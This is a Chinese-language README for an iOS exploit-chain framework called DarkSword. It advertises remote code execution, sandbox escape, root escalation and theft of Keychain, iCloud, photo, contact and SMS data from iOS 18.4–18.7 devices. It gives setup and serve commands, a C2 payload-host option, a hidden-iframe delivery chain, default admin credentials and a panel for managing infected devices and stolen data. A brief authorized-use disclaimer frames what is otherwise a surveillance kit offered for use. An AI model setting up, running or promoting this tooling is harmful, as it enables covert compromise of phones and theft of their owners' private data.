DarkSword是一个基于iOS WebKit漏洞链的红队渗透测试框架,支持iOS 18.4 - 18.7版本的远程代码执行和权限提升。
⚠️ 免责声明:本工具仅用于授权的安全测试和研究目的。使用前请确保您拥有目标系统的合法授权。未经授权的使用可能违反法律法规。
| 能力 | 说明 |
|---|---|
| 远程代码执行 | 通过WebKit漏洞在iOS设备上执行任意JavaScript代码 |
| 沙箱逃逸 | 突破iOS应用沙箱限制 |
| 权限提升 | 获取root级别系统权限 |
| 数据窃取 | 窃取iCloud数据、Keychain、照片、通讯录、短信等 |
| 文件操作 | 访问和操作设备文件系统 |
基于FastAPI + Vue 3构建的完整管理后台,提供:
- 仪表盘:实时统计和监控
- 设备管理:管理受感染的iOS设备
- 访问日志:记录设备访问记录
- 命令执行:向设备发送执行命令
- 数据管理:查看窃取的数据和文件
- 用户管理:管理员权限管理
git clone https://github.com/bhideki/darksword.git
cd darksword
pip install -e .darksword serve在iOS设备上通过Safari访问:http://<你的IP>:8080/
cd admin
python -m uvicorn main:app --host 0.0.0.0 --port 8000访问后台:http://localhost:8000
默认管理员账号:admin / admin123
| 命令 | 描述 |
|---|---|
darksword serve |
启动漏洞交付HTTP服务器 |
darksword sync |
从GitHub同步payload文件 |
darksword list |
列出本地可用的payload |
darksword info |
显示漏洞链信息和CVE详情 |
darksword sync-kexploit |
同步内核漏洞文件(Objective-C) |
darksword serve -H 0.0.0.0 -p 8080
darksword serve -p 8443 --c2-host https://your-c2.com/payload-H, --host: 监听地址(默认:0.0.0.0)-p, --port: 监听端口(默认:8080)--c2-host: 自定义C2服务器地址--redirect: 漏洞利用后的重定向URL
- index.html → 着陆页,加载frame.html到隐藏iframe
- frame.html → 注入rce_loader.js
- rce_loader.js → 根据iOS版本加载对应的RCE模块
- rce_module.js / rce_module_18.6.js → RCE利用模块
- rce_worker_18.4.js / rce_worker_18.6.js → WebWorker漏洞利用
- sbx0_main_18.4.js / sbx1_main.js → 沙箱逃逸
- pe_main.js → 权限提升(获取root权限)
DarkSword/
├── admin/ # 管理后台
│ ├── frontend/ # Vue 3前端
│ ├── routers/ # FastAPI路由
│ ├── main.py # 后端入口
│ ├── auth.py # 认证模块
│ ├── database.py # 数据库模型
│ └── schemas.py # Pydantic模型
├── darksword/ # Python核心模块
│ ├── cli.py # CLI入口
│ ├── server.py # HTTP服务器
│ ├── payloads.py # Payload管理
│ └── config.py # 配置管理
├── payloads/ # Web漏洞payload
├── kexploit/ # 内核漏洞文件
├── templates/ # 着陆页模板
├── 展示/ # 系统截图
├── darksword.db # SQLite数据库
├── pyproject.toml
└── README.md
- iOS 18.4
- iOS 18.5
- iOS 18.6
- iOS 18.6.1
- iOS 18.6.2
- iOS 18.7
- Google Threat Intelligence - DarkSword iOS Exploit Chain
- DarkSword-RCE GitHub
- darksword-kexploit GitHub
MIT License - 仅用于教育和授权安全测试目的。




